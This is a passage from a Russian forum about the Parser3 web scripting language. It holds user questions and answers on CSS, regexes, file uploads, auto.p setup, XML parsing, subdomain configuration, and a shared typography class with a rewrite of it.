[quote]\
3. В БД придётся создать ещё таблицу?\
[/quote]\
Да, если хранить ассоциации в БД.\
Но хешфайл для этого - самое оно. Быстро и удобно."
"29616","Но, согласен, - действительно проще.\
Спорить-то тут не о чем - одному проще, другому безопаснее - вещи разные, каждому - свое."
"29618","[url=\"http://www.parser.ru/forum/?id=29000\"]это[/url]"
"29620","Мне бы хотелось чтобы выдавал результат html, например слово \"текст\" (зеленым цветом), а не <p style=\"color:green\">text</p> ... что-то слышал про ^process[]  ... в том направлении мне двигаться ? стоит оно того или скорость обработки увеличится, чего бы не хотелось."
"29621",".. перепутать какую строчку обновлять. НО ведь код и так не путает строчки. Тогда непонятно, зачем?"
"29624","Скажу куда копать\
auto.p\
\
Как оформить думайте сами"
"29625","Я неувидел этого участка кода, возможно я невнимателен, а может у вас одна строка в БД ;)"
"29627","Вкрадце дилема в следующем: \
\
на главной странице есть масса красивых кнопок, состоят из двух \
изображений - фонового и активного, \
по идее при наведении курсора на кнопку должно подгружаться \
изображение активной кнопки. \
На деле оно подгружается, но очень долго - т.е. на экране в этот момент \
пропадает фоновое изображение и на момент загрузки на этом \
месте белое пятно. \
Реализовано все через CSS. \
В CSS стоит ссылка \
background:url(\"http://***.ru/themes/***/images/bb3.jpg\") \
\
в связи с этим и проблемма подгрузкой, \
Кто знает CSS , скажите как поставить ссылку с безусловной на \
условную? (чтоб грузила не через url , а из каталога)\
\
пробовал вставлять условную - не работает, \
не находит файл."
"29628","можно проверять определена ли переменная ^if(def $temp){ ... }, а как это делать с методом?"
"29630","Но вот javascript вам поможет\
Ищите что-то типа предваридтельной загрузки изображений"
"29631","которого нет и он не определен"
"29634","правильный адрес и все заработает"
"29635","Ваше предположение было бы верным, если речь шла об одном бите. :)))"
"29636","Ну не силен я в сабже :(\
Задача такая. Надо оставить только те переводы строки, которые стоЯт после знаков препинания '.' ';' ':' , остальные надо убрать.\
Извиняюсь за возможный оффтоп и заранее благодарен :)"
"29637","Я начал разбирать Ваш [url=\"http://www.egoroff.spb.ru/portfolio/16.html\"]пример[/url] с календарем\
и нашел (как мне кажется) небольшую ошибку:\
\
calendar.p\
\
[code]\
157:# формирование атрибута текущего дня\
158:^if(\
159:	$date_now.day == $day &&\
160:	$date_now.month == [b]$date_user[/b].month &&\
161:	$date_now.year == [b]$date_user[/b].year\
162:){\
163:	$in[in=\"1\"]\
164:}{\
165:	$in[]\
166:}\
167:# формирование атрибута нахождения в данном дне\
168:^if($day == [b]$date_user[/b].day){\
169:	$hit[hit=\"1\"]\
170:}{\
171:	$hit[]\
172:}\
[/code]\
\
В примере в [b]выделенных[/b] местах было [i]$date[/i], \
вследствие чего в XML не генерировались атрибуты \"in\" и \"hit\".\
\
И в качестве пожелания,\
было бы проще разобраться с примером, \
если бы была версия без использования БД,\
т.е. пример инициализации хэша [i]$days_of_files[/i].\
Например такая:\
\
[code]\
# the hash of publications(files)\
$days_of_files[\
   $.1[1]\
   $.10[1]\
   $.30[1]\
]\
[/code]\
\
И конечно большое спасибо за такой полезный класс."
"29638","вариант2: псевдотеги, последующая замена."
"29640","[b]Задача следующая:[/b]\
1. считать html-файл с HTTP-сервера;\
2. вырезать ВСЕ теги и ВЕСЬ текст, кроме тегов <P> и заключенного между ними текста.\
\
Подскажите, пожалуйста, какой-нибудь универсальный regexp для выполнения поставленной задачи."
"29644","Много искал в этом форуме, вроде у людей работает ;) Сделал счётчик элементарный на скачивание файлов, так постоянно к URL файлов прибавляется корень веб-пространства сервера. Как-то можно это обойти? Что-то во втором парсере таких проблем у меня не было :("
"29645","что за глюк на локале тестовая страницы выводится нормально ( Windows платформа ), а на сервере дает ошибку\
[code].../_test.htm(4:119): parse error, expecting `$'  type: parser.compile[/code]\
платформа( какая то Unix'овая ) причем сайт написаный и установленный на сервер пашет вроде нормально"
"29646","http://www.parser.ru/forum/?id=18752\
+ http://www.parser.ru/examples/tainting/"
"29648","Тоже мне \"древний\", ему от роду то года 3 от силы. Давай, пиши тест для всех версий, нечего халтурить! :)"
"29649","на самом деле у меня реальный класс давно переписан :) а тут пущай будет, типа чтобы народ думал."
"29650","как параметр передается id записи в БД. Из записи в БД потом берётся поле $url."
"29651","или вы уверены, что tainting тут ни при чем?\
Тогда [url=\"http://www.parser.ru/faq/forum/\"]приведите[/url] ваш код, что хотели получить и что получили, разберёмся..."
"29652","Пытаюсь настроить парсер на хостинге SWeb. Положил в cgi-bin myparser3.cgi, рядом auto.p, в котором изменил вывод ошибок на debug-вариант. В корневом .htaccess пишу:\
\
AddHandler parser-handler html\
Action parser-handler /~sixhru/cgi-bin/myparser3.cgi\
\
(у меня 15-дневный тестовый период, поэтому своего домена нет, доступ идет через apoc.spaceweb.ru/~sixhru). После этого вижу на index.html следующее:\
\
/~sixhru/index.html\
read failed: No such file or directory (2), actual filename '/~sixhru/index.html'\
\
Из этого следует, что парсер работает, auto.p читается правильно, но что-то всё равно не то. Прочитал на форуме множество всяких ужасов про SWeb, и теперь не знаю, что и думать. В чем может быть дело? Спасибо."
"29653","http://asha-city.ru/project/sessions/session.zip"
"29656","У меня на парсере работает сайт http://rain.ifmo.ru/~kobak/\
Без всяких проблем."
"29659","если у вас это где-то работает, то по моему вы лучше всего знаете что для этого надо сделать."
"29660","Я бы добавил в поиск тегов еще и атрибуты, которые вполне возможны. Да и сохранение нужно делать целиком с тегами.\
[code]^str.match[(<p[^^>]*>.*?</p>)][g]{$match.1}[/code]\
\
А поставленную задачу можно решить примерно таким выражением.\
[code]^str.match[.*?(<p[^^>]*>.*?</p>).*][g]{$match.1}[/code]\
\
P.S. Выражение не оптимально, но работает. В работе его можно посмотреть здесь. http://www.spearance.ru/parser3/regex/?no=10"
"29661","получаю строку:\
\
[code]\
?file=sony1.jpg&file=olympus1.jpg&file=nikon1.jpg&file=minolta1.jpg\
[/code]\
\
Дело в том, что поля для прикрепления файлов генерируются на лету и поэтому переменная одна на всех...\
Каким образом все это правильно сохранить? По отдельности."
"29662","Ссылки по теме\
http://www.parser.ru/docs/lang/formfield.htm"
"29664","<form method=\"POST\" action=\"/photo_com/form/\" enctype=\"multipart/form-data\">\
<select name=\"gallery\" size=1>\
<option value=\"1\" >Город</option>\
<option value=\"2\" >Природа</option>\
<option value=\"3\" >Горнолыжные курорты</option>\
</select>\
<select name=\"season\" size=1>\
<option value=\"1\">Зима</option>\
<option value=\"2\">Весна</option>\
<option value=\"3\">Лето</option>\
<option value=\"4\">Осень</option>\
</select>\
<input type=\"Text\" name=\"name_photo\" size=\"80\" maxlength=\"250\" />\
<input type=\"file\" name=\"photo\" size=\"80\" />\
<input type=\"submit\" value=\"создать\" size=\"80\" />\
</form>"
"29665","Все дело в том, что мне нужно за раз передать N колличество файлов! При том что за ранее это количество Не Известно!!!\
\
ДЫк, вот каким образом их записать, если они все передаются через одну переменную?"
"29667","и автор вопроса понимает, что делает?\
\
тогда $form:tables.file"
"29669","Мне нужно передать файлы на сервер!\
Количество их заранее не известно!\
\
Полчается что я передаю N количество файлов в одной и тойже переменной!\
\
Как бы их все записать за раз? а не один!!"
"29670","В том-то и дело, что там где это работает, затруднений не возникало, насколько я помню, а здесь не получается. Ладно, буду ждать реплики ПАФа."
"29671","Фишка - эта хрень иногда считает, что имя файла - это все символы до перевода строки, даже если они - пробелы.\
\
Я, конечно, лично знал извращенцев, пользующихся любезностью юниха иметь в имени файла все символы подряд, но, имхо, к нормальным людям таких не отнесешь. Так что на фичу это не похоже.\
\
Блин, полтора часа убил... парсеру, что стоит под виндой из-под денвера, абсолютно пофиг эти конечные пробелы, а тому, что живет в юниксе - не пофиг."
"29672","предлагаете ПАФу продублировать своё сообщение ещё раз?\
\
а смысл?"
"29674","Парсер всегда был чуствителен к пробелам после имени файла в @USE.\
\
И на эти грабли наступали поначалу все."
"29675","Из того постинга ПАФа следует, что парсер нельзя использовать на адресах с тильдой. Это ошибочное утверждение (см. выше). Поэтому я думал, что, может быть, ПАФ сможет сделать какое-то другое предположение насчет того, почему парсер не работат в данном случае."
"29676","еще добавить руководство по установке парсера на апач, а также установку самого апача :)\
Мой пример не предполагал называться решением. \
Просто направление, в котором нужно копать."
"29678","Не самый крутой создатель сайтов я... да и HTML пока осваиваю, а тут сразу XML и прочее... спасибо за совет, только когда я дорасту до него, он устареет :) и потом, уже сам кое-как дотумкал, хоть, возможно, и не так красиво : в каждой папке помещаю файл title.cfg с единственной строкой-заголовком, а потом, разбирая полный путь к вызванному файлу, считываю эти файлы и вывожу... Помучился, правда :) но работает..."
"29679","Дело помоши утопающим - доло рук самих утопающих! Правильно, и нечего там цацкаться... Уж придумал свой вариант... Просто сложно одновременно осваивать новый язык и html синтаксис! То, что очевидно, например на Delphi - далеко не так же очевидно на парсере!"
"29680","Скажите пожалуйста, Parser это компилируемый или интерпретируемый язык. Очень нужно (задали вопрос на предзащите и не смогла ответить)"
"29681","Мне известны:\
mod_auth\
mod_auth_db\
mod_auth_dbm\
\
Количество пользователей от 100, но хотелось бы чтоб большее количество пользователей (скажем 10000) не тормозило работу сайта.\
\
Если у кого-то есть опыт тормозов, расскажите как вы этого достигли, каким количеством пользователей?"
"29682","Хочу сделать авторизацию по [url=\"http://www.parser.ru/examples/auth/\"]классу[/url] из примеров.\
\
Сразу не очень понятно, что за метод [b]server[/b]. (^MAIN:pSQL.server) Он у меня постоянно undefined method.\
\
Я так понимаю, что здесь должна быть обозначена MySQL (в моем случае). Но как?\
\
«[url=\"http://www.parser.ru/examples/comp/\"]О переносимости SQL запросов[/url]» прочитал, классы скачал, подключил к страницам.\
\
:( Не получается…\
\
Помогите, разобраться, пожалуйста."
"29684","[code]\
@auto[]\
@main[]\
  ^use[sql.p]\
  ^use[mysql.p]\
  ^use[auth.p]\
  ^use[lib.p]\
\
  $MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
  ^MAIN:pSQL.server{\
    $auth_data[^auth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
    ^header[]\
    ^body[]\
    ^footer[]\
  }\
\
@header[]\
#Впишешь из уроков\
\
@body[]\
\
@body_additional[]\
      ^login_form[]\
\
@body_main[]\
\
@footer[]\
\
@login_form[]\
\
^if($auth_data.is_logon){\
                <p>\
                        <b>Информация о пользователе:</b><br />\
                        Логин: $auth_data.user.name<br />\
                        Email: $auth_data.user.email<br />\
                        Состоит в группах: ^auth_data.user.groups.menu{$auth_data.user.groups.name}[, ]<br />\
                        Дата регистрации: $auth_data.user.dt_register<br />\
                        Дата последнего логина: $auth_data.user.dt_logon\
                </p>\
                <a href=\"./profile.htm\">Изменить параметры</a><br />\
        ^rem{ *** выводим форму для логаута. если пользователь не залогинен форма показана не будет *** }\
        ^auth_data.htmlFormLogout[$.target_url[./index.htm]]\
  }{\
      <font color=white>\
    Введите имя и пароль\
                ^auth_data.htmlFormLogon[$.target_url[./index.htm]]\
                <a href=\"./profile.htm\">Регистрация</a>\
      </font>\
  }\
[/code]"
"29685","http://validator.w3.org/check?uri=http%3A%2F%2Fwww.parser.ru%2Fforum%2F&charset=windows-1251+%28Cyrillic%29&doctype=%28detect+automatically%29"
"29690","решил попробовать Perses, скачал 3.1.2 установил, всё работает.\
Как в документации говорится создал sections.cfg и auto.p, в html коде добавляю ^navigation[].... ничего не выходит((( в браузере видно только ^navigation[] (((\
Подскажите пожалуйста, может, что не так делаю, или не туда ^navigation[] ставлю??????"
"29692","# Для версии Parser, начиная с 3.0.0005, никаких дополнительных \
# настроек в этом файле не требуется.\
#\
# Вы можете спокойно удалить данный файл. Он существует здесь\
# лишь для того, чтобы \"перекрыть\" файл из предыдущей версии пакета.\
\
а у меня 3.1.2"
"29694","Если да, то рекомендую \"не слушать\" инструкцию.\
В папку /WebServer/<имя_хоста>/ переписать .htaccess, создать папки cgi-bin и www. В папку cgi-bin и в него переписать содержимое /WebServers/usr/local/parser3/.\
Только так я смог \"вылечить\" Денвер."
"29695","Если только начинаете работать с Денвером, то может быть последовать совету из http://www.parser.ru/forum/?id=29540\
Я \"сижу на Денвере\" второй год - уже как-то сжился... лениво менять \"платформу\"."
"29696","можно подумать что вы всегда пишете полностью валидный код?"
"29697","Мне до смерти надоели монструозные setup-скрипты на перле, и я его уполовинил ;-)"
"29698","всё та же беда))))) в браузере только @main[]^navigation"
"29699","Скачали - развернули - запустили и не работает?\
\
Может вы до этого не вырубили Денвер и он продолжает работать и кривую страницу вы получаете от него, а не от моего пакета?\
\
Попробуйте остановить мой (клик по обоим \"светофорчикам\" и стоп из меню), нажмите Ctrl+Alt+Del и посмотрите, нет ли Apache в списке процессов..."
"29700","внутри, конечно, исходный код компилируется во внутренний формат(т.н. байткод), который затем исполняется.\
\
parser2 этого не делал, и работал прямо с исходным кодом."
"29701","Есть xnode, в нем CDATA. Добраться до него не могу никак, selectString[text()] для этой ноды возвращает ошибку:\
\
wrong xmlXPathEvalExpression result type (1)\
\
(дока + поиск по форуму не помогли)"
"29702","не оно?"
"29703","Документ:\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
\
<document>\
	<step id=\"6\" title=\"Test\">\
		<description>\
			<![CDATA[\
				Cdata test\
			]]>\
		</description>\
	</step>\
</document>\
\
Просто selectSingle[], без параметров, не работает: native method of xnode (xnode) accepts minimum 1 parameter(s) (0 present).\
\
Такой код:\
\
$descriptionNode[^stepNode.selectSingle[description]]\
$description[^descriptionNode.selectSingle[text()]]\
$description.value\
\
Порождает ошибку: resulted not in a single node (3)."
"29704","огромное спосибо всё зароботало"
"29706","А 127.0.0.1 привязан жёстко, или можно как-то поменять?"
"29709","[code]^xdoc.selectString[string(//description)][/code]\
\
что до value, так это надо у конкретного узла, у вас же там не только CDATA, поэтому удобно воспользоваться string()"
"29711","Создал суб-домен, но ничего не грузится. На форуме толком ответа нет, хетелось бы знать, что бы вы сделали, что бы работал у вас суб-домен sub-domen.parser.ru"
"29712","Вы правильно написали?"
"29713","Где нанисано что ЗДЕСЬ НАЧИНАЕТСЯ VirtualHost\
и где написано что ЗДЕСЬ VirtualHost кончился...\
\
смысл - чтобы определения, сделаные для этого виртуал хоста заработали для всего сервера..."
"29715","Правильно. Вы мне пожалуйста лучше напишите, как бы вы сделали, я сделаю так же. Parser на всём сайте работает, не работают только суб-домены."
"29716","Вы как будто вчера родились - попробуйте отвалидировать какой-нибудь www.intel.com или http://www.microsoft.com/rus/"
"29717","1) parser находится в cgi-bin ?\
2) Из поддомена видно cgi-bin в котором находистя парсер?\
\
\
ps: я непарился и поставил ещё один парсер\
pps: я непользуюсь парсером который предоставляет провайдер, он его периодически обновляет и у меня появляются ошибки, это связано с неполной совместимостью версий"
"29718","1). Конечно в cgi-bin, в корневой (не в cgi-bin суб-домена).\
2). Как понять видно? У суб-домена имеется свой cgi-bin, но Parser я туда не устанавливал и .htaccess вообще не закачивал.\
\
Я тоже не пользуюсь, его у него нет. Поставил сам.\
\
Как я понял, вы установил в cgi-bin поддомена ещё один Parser. Я читал на этом форуме, что это делать не стоит, достаточно одного, только как его использовать? В суб-домене мне Parser вообще-то не нужен, НО .html вообще не отображаются."
"29721","Так что мешает положить в директорию субдомена .htaccess, который сслылался бы на парсер в корневой cgi-bin?"
"29722","странно у меня есть проект который до сих пор еще не переведен на 3-ю версию.\
и всенормально пашет:\
для основного сайта есть .htaccess c назначением 2-го парсера на *.html, в субдомене стоит .htaccess только привязывате обработчиком *.html PARSER 3\
все пашет на Лине, сервак - Апач\
\
да, 2-й и 3-й стоят каждый в одном экземпляре, дополнительных сgi-bin/ делать не пришлось"
"29723","Никто из присутствующих не занимался написанием Subj.? Если у вас есть какие-то наработки по этой теме, можете дать посмотреть одним глазком, а?\
\
Спасиб;)"
"29724","есть же готовые неплохие анализаторы: \
webalizer, accesswatch, webtrends,\
есть, наконец, perl, и можно написать свой.\
\
что за непонятная идея делать это на parser?\
самоцель?\
вот скажем, живой пример: полгигабайта логов за день. parser — не для этой задачи."
"29725","а аналоге сборщика информации для не сильно активных сайтов с отчётами на уровне HotLog и иже с ними (замена приснопамятным \"счётчикам\").\
\
Вебалайзером и аналогом пользовался, в них неудобна \"заточенность не под то\". Мне очнь интересна статистика по приходам с поисковиков (по каким терминам - куда попадают), например - а это функциональность в них релизована из рук вон."
"29726","Под Debian подходит версия для RedHat?"
"29727","Немогу сообразить скрипт, который бы сохранял базу данных в файл и мог из этого же файла импортировать в базу данных с заменой имеющих таблиц и строк!"
"29730","Пршло время выложить свой вариант класса для общей обкатки и теста.\
\
Сам класс:\
[code]\
# $Id: typograf.p,v 1.4.5.0 2004/05/21 Eugene Spearance Exp $\
\
@CLASS\
typograf\
\
########################################\
# Определение пути к классу\
#####\
@auto[filespec][full_path]\
$full_path[^file:dirname[$filespec]]\
$c_dir[/^full_path.trim[start;$request:document-root]]\
$hash[^hash::create[]]\
### End @auto\
\
\
########################################\
# Обработка текста\
# \
# $.dirty_text[текст] - который нужно типографировать\
# $.regex_path[путь_к_файлу] - с альтернативной таблицей правил (включая имя файла)\
# $.symbols_path[путь_к_файлу] - с альтернативной таблицей замен символов (включая имя файла)\
#\
#####\
@text_process[params][regex_path]\
^if(def $params.dirty_text){\
	^memory:compact[]\
	^if(def $params.regex_path){$regex_path[$params.regex_path]}{$regex_path[$c_dir/regex.cfg]}\
\
	^rem{ *** Заменяю символы UTF-8 и символы мнемоники на печатные *** }\
	$result[^prepare_text[$params.dirty_text;$params.symbols_path]]\
\
	^rem{ *** Удаляю таблицы стилей, скрипты, пре-формаченый текст и теги. ПОРЯДОК УДАЛЕНИЯ НЕ МЕНЯТЬ!!! *** }\
	$result[^remove[$result;css]]\
	$result[^remove[$result;js]]\
	$result[^remove[$result;pre]]\
	$result[^remove[$result;tag]]\
\
	^rem{ *** Обрабатываю текст правилами *** }\
	^if(!$regex){\
		$regex[^table::load[$regex_path]]\
	}\
	^regex.menu{\
		^if(def $regex.reg1){\
			$result[^result.match[$regex.reg1][$regex.reg2]{^process{^taint[as-is][$regex.reg3]}}]\
		}\
	}\
\
	^rem{ *** Возвращаю таблицы стилей, скрипты, пре-формаченый текст и теги ПОРЯДОК ВОЗВРАТА НЕ МЕНЯТЬ!!! *** }\
	$result[^return[$result;tag]]\
	$result[^return[$result;pre]]\
	$result[^return[$result;js]]\
	$result[^return[$result;css]]\
	^memory:compact[]\
}\
### End @text_process\
\
\
########################################\
# Замена символов в UTF кодировке и символов \"мнемоников\" на печатные символы\
#####\
@prepare_text[dirty_text;symbols_path]\
^if(!$table_symbols){\
	$table_symbols[^table::load[nameless;^if(def $symbol_path){$symbol_path}{$c_dir/replace.cfg}]]\
}\
$result[^dirty_text.replace[$table_symbols]]\
### End @prepare_text\
\
\
########################################\
# Замена тегов, скриптов и внутренних CSS на <*>, <js>, <css>\
#\
# tag - заменяю теги на <*>\
# css - заменяю встроенные таблицы стилей на <css>\
# js, javascript - заменяю скрипты на <js>\
# pre - заменяю предварительно форматированный текст на <pre>\
#\
#####\
@remove[prepared_text;text_type][counter]\
$counter(0)\
^hash.add[$.[$text_type][^hash::create[]]]\
^switch[$text_type]{\
	^case[css]{\
		$result[^prepared_text.match[(<style[^^>]*>.*?</style>)][gi]{<css>^hash.[$text_type].add[$.[$counter][$match.1]]^counter.inc[]}]\
	}\
	^case[js;javascript]{\
		$result[^prepared_text.match[(<script[^^>]*>.*?</script>)][gi]{<js>^hash.[$text_type].add[$.[$counter][$match.1]]^counter.inc[]}]\
	}\
	^case[pre]{\
		$result[^prepared_text.match[(<pre[^^>]*>.*?</pre>)][gi]{<pre>^hash.[$text_type].add[$.[$counter][$match.1]]^counter.inc[]}]\
	}\
	^case[DEFAULT]{\
		$result[^prepared_text.match[(<[^^>]+>)][g]{<*>^hash.[$text_type].add[$.[$counter][$match.1]]^counter.inc[]}]\
	}\
}\
### End @remove\
\
\
########################################\
# Возврат тегов, скриптов и внутренних CSS\
#####\
@return[matched_text;text_type][counter]\
$counter(0)\
$result[$matched_text]\
^if(def $hash.[$text_type]){\
	^switch[$text_type]{\
		^case[css]{\
			$result[^result.match[(<css>)][g]{$hash.[$text_type].[$counter]^counter.inc[]}]\
		}\
		^case[js;javascript]{\
			$result[^result.match[(<js>)][g]{$hash.[$text_type].[$counter]^counter.inc[]}]\
		}\
		^case[pre]{\
			$result[^result.match[(<pre>)][g]{$hash.[$text_type].[$counter]^counter.inc[]}]\
		}\
		^case[DEFAULT]{\
			$result[^result.match[(<\\*>)][g]{$hash.[$text_type].[$counter]^counter.inc[]}]\
		}\
	}\
}\
### End @return\
[/code]\
\
Это облегченный по функциональности вариант класса, относительно того что используется на моем сайте.\
\
Для правил использую обычную таблицу с 3 полями reg1, re2, reg3. В которых описано что ищем, метод поиска и чем заменяем.\
Такой подход упрощает работу с правилами т.к. можно забыть про  парные ^^ и заескепливание специальных парсеровских символов. При желании можно сделать свою собственную таблицу с правилами хоть для каждой страницы сайта, что весьма удобно.\
\
Вызов метода:\
[code]\
@USE\
typograf.p\
...\
^typograf:text_process[\
	$.dirty_text[текст] - который нужно типографировать\
	$.regex_path[путь_к_файлу] - с альтернативной таблицей правил (включая имя файла)\
	$.symbols_path[путь_к_файлу] - с альтернативной таблицей замен символов (включая имя файла)\
...\
]\
[/code]\
\
Все это богатство вместе с таблицей правил и таблицей замен можно скачать [url=\"http://www.spearance.ru/parser3/text/typograf.zip\"]здесь[/url].\
Рабочий пример можно посмотреть [url=\"http://www.spearance.ru/parser3/text/\"]здесь[/url].\
\
Спасибо Misha v.3 за помощь в разработке.\
\
P.S. чуть не забыл, класс работает с версией 3.1.2, для младших версий нужно заменить trim на схожий метод и Мишиного класса lib.p (он есть в примерах). "
"29733","Понимаю, что вопрос очень простой,\
но в доках не нашел описания формата файла auto.p\
есть только куски в разных примерах\
(или плохо искал, тогда если не сложно название раздела).\
\
Можно пояснить на примере простой задачи.\
\
Структура директорий:\
\
\\...\
\\work\\\
|-\\index.html\
\\news\\\
|-\\index.html\
\\xml\
\\xsl\
auto.p\
index.html\
...\
\
Кусок кода:\
\
[code]\
$connect_string[odbc://DSN=...^;UID=...^;PWD=...^;ClientCharset=windows-1251]\
^connect[$connect_string]{\
 $data_from_table[\
  ^hash::sql{SELECT ... FROM ... WHERE ...}[$.distinct(1)]\
 ]\
}\
[/code]\
\
[b]Цель:[/b]\
вынести [i]$connect_string[/i] в [i]auto.p[/i], чтобы она была доступна из любого [i]index.html[/i] .\
\
Вопросов 2:\
1. пример полного текста [i]auto.p[/i].\
2. куда правильно складывать auto.p в данном случае."
"29734","Какой комшарный стиль! Тут на колене накидал более цивилизованнный вариант:\
[code]\
# $Id: typograf.p,v 1.4.5.0 2004/05/21 Eugene Spearance Exp $\
\
@CLASS\
typograf\
\
########################################\
# Определение пути к классу\
#####\
@auto[filespec][full_path]\
$full_path[^file:dirname[$filespec]]\
$c_dir[/^full_path.trim[start;$request:document-root]]\
$hash[^hash::create[]]\
$_hTypeInfo[\
	$.[css][\
		$.tag[style]\
		$.replace[css]\
	]\
	$.[javascript][\
		$.tag[script]\
		$.replace[js]\
	]\
	$.[js][\
		$.tag[script]\
		$.replace[js]\
	]\
	$.[pre][\
		$.tag[pre]\
		$.replace[pre]\
	]\
]\
### End @auto\
\
\
########################################\
# Обработка текста\
# \
# $.dirty_text[текст] - который нужно типографировать\
# $.regex_path[путь_к_файлу] - с альтернативной таблицей правил (включая имя файла)\
# $.symbols_path[путь_к_файлу] - с альтернативной таблицей замен символов (включая имя файла)\
#\
#####\
@text_process[params][regex_path]\
^if(def $params.dirty_text){\
	^memory:compact[]\
	^if(def $params.regex_path){$regex_path[$params.regex_path]}{$regex_path[$c_dir/regex.cfg]}\
\
	^rem{ *** Заменяю символы UTF-8 и символы мнемоники на печатные *** }\
	$result[^prepare_text[$params.dirty_text;$params.symbols_path]]\
\
	^rem{ *** Удаляю таблицы стилей, скрипты, пре-формаченый текст и теги. ПОРЯДОК УДАЛЕНИЯ НЕ МЕНЯТЬ!!! *** }\
	$result[^remove[$result;css]]\
	$result[^remove[$result;js]]\
	$result[^remove[$result;pre]]\
	$result[^remove[$result;tag]]\
\
	^rem{ *** Обрабатываю текст правилами *** }\
	^if(!$regex){\
		$regex[^table::load[$regex_path]]\
	}\
	^regex.menu{\
		^if(def $regex.reg1){\
			$result[^result.match[$regex.reg1][$regex.reg2]{^process{^taint[as-is][$regex.reg3]}}]\
		}\
	}\
\
	^rem{ *** Возвращаю таблицы стилей, скрипты, пре-формаченый текст и теги ПОРЯДОК ВОЗВРАТА НЕ МЕНЯТЬ!!! *** }\
	$result[^return[$result;tag]]\
	$result[^return[$result;pre]]\
	$result[^return[$result;js]]\
	$result[^return[$result;css]]\
	^memory:compact[]\
}\
### End @text_process\
\
\
########################################\
# Замена символов в UTF кодировке и символов \"мнемоников\" на печатные символы\
#####\
@prepare_text[dirty_text;symbols_path]\
^if(!$table_symbols){\
	$table_symbols[^table::load[nameless;^if(def $symbol_path){$symbol_path}{$c_dir/replace.cfg}]]\
}\
$result[^dirty_text.replace[$table_symbols]]\
### End @prepare_text\
\
\
########################################\
# Замена тегов, скриптов и внутренних CSS на <*>, <js>, <css>\
#\
# tag - заменяю теги на <*>\
# css - заменяю встроенные таблицы стилей на <css>\
# js, javascript - заменяю скрипты на <js>\
# pre - заменяю предварительно форматированный текст на <pre>\
#\
#####\
@remove[prepared_text;text_type][counter;lTypeInfo]\
$counter(0)\
^hash.add[$.[$text_type][^hash::create[]]]\
^if(def $text_type){\
	$result[^prepared_text.match[\
		(\
			<(^_getTag[$text_type])[^^>]*>.*?</\\2>\
		)\
	][gix]{<^_getReplace[$text_type]>^hash.[$text_type].add[$.[$counter][$match.1]]^counter.inc[]}]\
}{\
	$result[^prepared_text.match[(<[^^>]+>)][g]{<*>^hash.[$text_type].add[$.[$counter][$match.1]]^counter.inc[]}]\
}\
### End @remove\
\
\
########################################\
# Возврат тегов, скриптов и внутренних CSS\
#####\
@return[matched_text;text_type][counter]\
$counter(0)\
$result[$matched_text]\
^if(def $hash.[$text_type]){\
	^if(def $text_type){\
		$result[^result.match[(<^_getReplace[$text_type]>)][g]{$hash.[$text_type].[$counter]^counter.inc[]}]\
	}{\
		$result[^result.match[(<\\*>)][g]{$hash.[$text_type].[$counter]^counter.inc[]}]\
	}\
}\
### End @return\
\
########################################\
# Тег\
@_getTag[sType]\
$result[$_hTypeInfo.[$sType].tag]\
\
########################################\
# Замена\
@_getReplace[sType]\
$result[$_hTypeInfo.[$sType].replace]\
[/code]\
\
PS: Совсем испортился Миша :("
"29735","auto.p это самый обычный файл с парсерным кодом, особенность которого заключается в том, что он вызывается в определенном месте при обработке запроса и поэтому в доке правильно нет его формата :) \
\
http://www.parser.ru/docs/lang/mainclass.htm читаем, думаем и больше таких вопросов не задаем."
"29736","в /auto.p поместите такой код:\
[code]\
@auto[]\
$connect_string[ваша строка]\
[/code]"
"29739","У меня ^trim съедает часть строки... (w2k SP4, parser3.1.2)\
\
Var. 1\
[code]\
$path[/home/test/www/test_folder]\
^path.trim[start;/home/test/www]\
[/code]\
\
возвращает: _folder\
\
Var. 2\
[code]\
$path[/home/test/www/_test_folder]\
^path.trim[start;/home/test/www]\
[/code]\
\
возвращает: _test_folder"
"29740","что там вторым параметром?"
"29741","как защитить auto.p от чтения в IIS?"
"29742","как и на .html :)\
\
для .cfg нужен лучше способ :)"
"29743","А вот тут поподробнее, напишите как вы указали путь к Parser 3 в .htaccess поддомена."
"29744","Я года 2 назад написал класс анализатора, который ведет собственный лог (серверный не устраивает, поскольку надо следить за юзерами с куками etc), разбирает его в базу и уже по базе каие отчеты получать - дело вкуса и потребностей. НО. Разбирать поисковые запросы я парсером так и не научился. Для декода запроса приходится юзать Перл, что ставит под сомнение саму идею в принципе. В смысле, почему бы не делать полностью разбр лога в базу и накопительные отчеты на Перле. Вот. На след. неделе как раз буду писать заново все классы, поскольку поменялся движок и хочется в любом случае поаккуратнее сделать. Если интересно - могу скинуть почтой, что есть, но не думаю, что это представляет какой-то интерес. Имхо, удобнее структуру базы делать под собственный движок, чтобы не дублировать уже существующую информацию (к примеру, id страниц сайта уже могут где-то жить etc)."
"29745","что посоветует сообщесво \"птицеводов\" для не очень большого сайта(база 16 мегов)\
mnogosearch/htdig/ или что-то иное?"
"29746","Я попробовал назначит парсер обработчиком, это лучше чем ничего, но он показывает ощибки в выполнении кода. Тогда я назначил на него обработчиком пустышку (какой то *.*) :) и теперь в ответ на запрос сервер выдаёт культурную ошибку о невозможности чтения. Что некоторых сможет убедить что сдесь нет никаких auto.p"
"29747","Так же как и в корневом. cgi-bin по идее должна быть общая."
"29748","Так не работает."
"29749","Поставил UltraEdit 10.20 с сайта разработчиков. Установил (под ХР) и увидел, что сглаживание жрифтов отключено можно его включить, в 10.10 у меня всё сглаживалось по умолчанию, а где включить, я так и не нашел. Может кто знает?"
"29750","Это третья попытка написать вразумительную реплику на subj. Первые две были очень уж неподцензурные. \
\
Прошу не кидать в меня тапком, я понимаю, что вот это все - и доступная технология, и форум про нее - огромная любезность со стороны Студии в целом и ПАФа в частности. У меня тут вытанцевалось такое мнение, что весь этот антураж (стиль руководства, стиль сайта, беглый взгляд на форум) создает впечатление _целостного_ продукта, ведущего себя _предсказуемо_ для веб-программера. Он начинает юзать Парсер, без проблем лабает первую пару-тройку версий сайта, незаметно для себя оказывается по уши в парсерном коде... И тут начинается хождение по граблям... То есть с точностью до наоборот к тому, как он, программер, привык. Тут нужно что-то одно, доведенное до ума, или comprehensive мануал, или... Да нет, мануала будет достаточно. В теперешнем виде он какой-то... скользкий, что-ли... Сорри за нерусское слово, не знаю, как это по-русски сказать.\
\
